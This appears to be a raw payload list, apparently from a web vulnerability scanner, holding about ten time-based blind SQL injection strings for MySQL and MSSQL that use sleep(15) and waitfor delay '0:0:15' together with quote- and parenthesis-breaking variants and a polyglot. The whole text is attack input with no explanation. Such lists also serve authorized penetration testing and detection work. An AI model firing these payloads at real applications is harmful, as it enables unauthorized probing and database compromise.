1

if(now()=sysdate(),sleep(15),0)

-1; waitfor delay '0:0:15' --

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

-1); waitfor delay '0:0:15' --

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

-1)); waitfor delay '0:0:15' --

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1 waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

lSUlcVJr'; waitfor delay '0:0:15' --